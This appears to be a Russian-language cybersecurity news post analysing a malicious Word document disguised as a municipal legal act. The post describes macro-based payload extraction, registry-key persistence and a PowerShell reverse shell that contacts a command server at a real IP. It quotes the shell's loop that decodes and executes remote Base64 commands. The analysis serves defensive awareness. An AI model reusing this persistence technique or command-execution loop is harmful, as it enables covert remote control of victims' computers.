!!р^д**н**c #кибербез #новости
Характерным примером того, как злоумышленники используют актуальные события для распространения вредоносных программ, может послужить обнаруженный нами вредоносный документ.
Он содержит текст муниципального правового акта, который не отображается корректно, в связи с чем пользователя побуждают «Включить содержимое» и разрешить таким образом выполнение встроенного в документ макроса.
Встроенный макрос приводит документ к читаемому виду путем простой замены комбинаций символов на буквы (;; → у ; ** → o ; ?? → a и т. д.), а также извлекает и закрепляет в автозагрузке полезную нагрузку — достаточно простой реверс-шелл — в виде PowerShell-скрипта.
Полезная нагрузка находится в содержимом документа после строки DigitalRSASignature и состоит из двух частей, закодированных в Base64 и разделенных строкой CHECKSUM — <part1>CHECKSUM<part2>, которые декодируются и записываются в файлы:
• <part1> -> %USERPROFILE%\\UserCache.ini.hta
• <part2> -> %USERPROFILE%\\UserCache.ini
UserCache.ini.hta прописывается макросом в автозапуск Windows Explorer через ключ реестра HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LOAD. Назначение данного файла — запустить исполнение файла UserCache.ini.
UserCache.ini представляет собой легковесный реверс-шелл, который использует узел
94.103.85.47 (Vdsina, Moscow) как управляющий сервер. Данный инструмент получает и выполняет набор команд с http://94.103.85.47:80/api/texts/<client_id>, где <client_id> = <имя компьютера>_<имя пользователя>_<серийник тома жесткого диска>.Команды передаются в формате XML и содержат несколько атрибутов:
• CountRuns — сколько раз нужно выполнить команду;
• Interval — интервал ожидания в минутах между последовательными выполнениями одной команды;
• Module — закодированная в Base64 команда.
...
try {
$Commands = [xml]$Configs;
$cycle_num = 0;
while($true){
$num_commands_completely_executed = 0;
$num_commands_executed = 0;
foreach ($CommandConfig in $Commands.Configs.Config)
{
$num_commands_executed += 1;
$quot = [int][Math]::Floor( $cycle_num / [int]$CommandConfig.Interval);
$rem = [int][Math]::Floor( $cycle_num % [int]$CommandConfig.Interval);
if($quot -lt [int]$Command.CountRuns -and $rem -eq 0){
$command_expr = FromBase64 $CommandConfig.Module;
try{
Invoke-Expression($command_expr);
}
catch {}
}
if(([int]$CommandConfig.Interval * [int]$CommandConfig.CountRuns) -lt [int]$cycle_num){
$num_commands_completely_executed += 1;
}
}
Start-Sleep 60;
if([int]$num_commands_completely_executed -eq [int]$num_commands_executed){
break;
}
$cycle_num += 1;
}
}
catch {}
...Для блокировки автоматического выполнения макросов можно воспользоваться руководством от Microsoft.

